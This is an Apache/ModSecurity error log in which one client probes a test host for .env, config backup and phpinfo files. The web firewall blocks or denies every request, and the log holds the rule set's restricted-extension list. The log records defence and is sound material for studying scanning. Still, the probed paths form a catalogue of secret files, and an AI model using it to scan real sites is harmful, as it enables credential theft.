[Sat Jan 17 23:17:31.561614 2026] [:error] [pid 1465656] [client 185.177.72.60:34630] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sites/default/settings.php.bak"] [unique_id "aWwKewuey-R96faqoviUQwAAAAg"]
[Sat Jan 17 23:17:31.561748 2026] [:error] [pid 1465656] [client 185.177.72.60:34630] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sites/default/settings.php.bak"] [unique_id "aWwKewuey-R96faqoviUQwAAAAg"]
[Sat Jan 17 23:17:31.695005 2026] [:error] [pid 1465636] [client 185.177.72.60:34752] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /run/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/run/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OgAAAAA"]
[Sat Jan 17 23:17:31.695244 2026] [:error] [pid 1465636] [client 185.177.72.60:34752] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/run/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OgAAAAA"]
[Sat Jan 17 23:17:31.695394 2026] [:error] [pid 1465636] [client 185.177.72.60:34752] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/run/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OgAAAAA"]
[Sat Jan 17 23:17:31.696673 2026] [:error] [pid 1484015] [client 185.177.72.60:34724] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "aWwKe2tD9qS7bG6S-BmDBQAAAAk"]
[Sat Jan 17 23:17:31.696854 2026] [:error] [pid 1484015] [client 185.177.72.60:34724] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "aWwKe2tD9qS7bG6S-BmDBQAAAAk"]
[Sat Jan 17 23:17:31.696986 2026] [:error] [pid 1484015] [client 185.177.72.60:34724] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/tmp/.env"] [unique_id "aWwKe2tD9qS7bG6S-BmDBQAAAAk"]
[Sat Jan 17 23:17:31.697606 2026] [:error] [pid 1465638] [client 185.177.72.60:34678] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /k8s/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/k8s/.env"] [unique_id "aWwKe3yeJt1bTz5T3HhLTAAAAAI"]
[Sat Jan 17 23:17:31.697789 2026] [:error] [pid 1465638] [client 185.177.72.60:34678] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/k8s/.env"] [unique_id "aWwKe3yeJt1bTz5T3HhLTAAAAAI"]
[Sat Jan 17 23:17:31.697929 2026] [:error] [pid 1465638] [client 185.177.72.60:34678] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/k8s/.env"] [unique_id "aWwKe3yeJt1bTz5T3HhLTAAAAAI"]
[Sat Jan 17 23:17:31.700052 2026] [:error] [pid 1465654] [client 185.177.72.60:34692] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /terraform/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform/.env"] [unique_id "aWwKezsg88Fnk7qcsG1shgAAAAY"]
[Sat Jan 17 23:17:31.700211 2026] [:error] [pid 1465654] [client 185.177.72.60:34692] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform/.env"] [unique_id "aWwKezsg88Fnk7qcsG1shgAAAAY"]
[Sat Jan 17 23:17:31.700345 2026] [:error] [pid 1465654] [client 185.177.72.60:34692] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/terraform/.env"] [unique_id "aWwKezsg88Fnk7qcsG1shgAAAAY"]
[Sat Jan 17 23:17:31.701072 2026] [:error] [pid 1465640] [client 185.177.72.60:34710] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aWwKe96syg3vTOmgP2tOLwAAAAQ"]
[Sat Jan 17 23:17:31.701241 2026] [:error] [pid 1465640] [client 185.177.72.60:34710] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aWwKe96syg3vTOmgP2tOLwAAAAQ"]
[Sat Jan 17 23:17:31.701380 2026] [:error] [pid 1465640] [client 185.177.72.60:34710] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docker/.env"] [unique_id "aWwKe96syg3vTOmgP2tOLwAAAAQ"]
[Sat Jan 17 23:17:31.701503 2026] [:error] [pid 1465655] [client 185.177.72.60:34750] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /secrets/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/secrets/.env"] [unique_id "aWwKeyFXd78sl9lQKfsSzwAAAAc"]
[Sat Jan 17 23:17:31.701660 2026] [:error] [pid 1465655] [client 185.177.72.60:34750] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/secrets/.env"] [unique_id "aWwKeyFXd78sl9lQKfsSzwAAAAc"]
[Sat Jan 17 23:17:31.701782 2026] [:error] [pid 1465655] [client 185.177.72.60:34750] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/secrets/.env"] [unique_id "aWwKeyFXd78sl9lQKfsSzwAAAAc"]
[Sat Jan 17 23:17:31.852355 2026] [:error] [pid 1465636] [client 185.177.72.60:34774] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OwAAAAA"]
[Sat Jan 17 23:17:31.852611 2026] [:error] [pid 1465636] [client 185.177.72.60:34774] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OwAAAAA"]
[Sat Jan 17 23:17:31.852787 2026] [:error] [pid 1465636] [client 185.177.72.60:34774] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aWwKe1S2Pw3fqVRuRUA6OwAAAAA"]
[Sat Jan 17 23:17:31.853779 2026] [authz_core:error] [pid 1484015] [client 185.177.72.60:34802] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/phpinfo.php
[Sat Jan 17 23:17:31.855074 2026] [:error] [pid 1465654] [client 185.177.72.60:34806] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.old"] [unique_id "aWwKezsg88Fnk7qcsG1shwAAAAY"]
[Sat Jan 17 23:17:31.855349 2026] [:error] [pid 1465654] [client 185.177.72.60:34806] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.old"] [unique_id "aWwKezsg88Fnk7qcsG1shwAAAAY"]
[Sat Jan 17 23:17:31.855485 2026] [:error] [pid 1465654] [client 185.177.72.60:34806] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.old"] [unique_id "aWwKezsg88Fnk7qcsG1shwAAAAY"]
[Sat Jan 17 23:17:31.856489 2026] [:error] [pid 1465637] [client 185.177.72.60:34790] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWwKe0wjzlOY5uJ3CcDeEQAAAAE"]
[Sat Jan 17 23:17:31.856651 2026] [:error] [pid 1465637] [client 185.177.72.60:34790] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWwKe0wjzlOY5uJ3CcDeEQAAAAE"]
[Sat Jan 17 23:17:31.856676 2026] [:error] [pid 1465639] [client 185.177.72.60:34826] [client 185.177.72.60] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.json.bak"] [unique_id "aWwKe7t90umalWjOW8vybgAAAAM"]
[Sat Jan 17 23:17:31.856820 2026] [:error] [pid 1465637] [client 185.177.72.60:34790] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWwKe0wjzlOY5uJ3CcDeEQAAAAE"]
[Sat Jan 17 23:17:31.856970 2026] [:error] [pid 1465639] [client 185.177.72.60:34826] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.json.bak"] [unique_id "aWwKe7t90umalWjOW8vybgAAAAM"]
[Sat Jan 17 23:17:31.856977 2026] [:error] [pid 1465637] [client 185.177.72.60:34790] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php.old"] [unique_id "aWwKe0wjzlOY5uJ3CcDeEQAAAAE"]
[Sat Jan 17 23:17:31.857113 2026] [:error] [pid 1465639] [client 185.177.72.60:34826] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.json.bak"] [unique_id "aWwKe7t90umalWjOW8vybgAAAAM"]
[Sat Jan 17 23:17:31.862921 2026] [authz_core:error] [pid 1465652] [client 185.177.72.60:34804] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/composer/phpinfo.php
[Sat Jan 17 23:17:33.983211 2026] [:error] [pid 1465640] [client 185.177.72.60:34928] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /worker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/worker/.env"] [unique_id "aWwKfd6syg3vTOmgP2tOMQAAAAQ"]
[Sat Jan 17 23:17:33.983374 2026] [:error] [pid 1465640] [client 185.177.72.60:34928] [client 185.177.72.60] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/worker/.env"] [unique_id "aWwKfd6syg3vTOmgP2tOMQAAAAQ"]
[Sat Jan 17 23:17:33.983521 2026] [:error] [pid 1465640] [client 185.177.72.60:34928] [client 185.177.72.60] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/worker/.env"] [unique_id "aWwKfd6syg3vTOmgP2tOMQAAAAQ"]
[Sat Jan 17 23:17:33.984461 2026] [:error] [pid 1465637] [client 185.177.72.60:34872] [client 185.177.72.60] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /lambda/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/lambda/.env"] [unique_id "aWwKfUwjzlOY5uJ3CcDeEgAAAAE"]
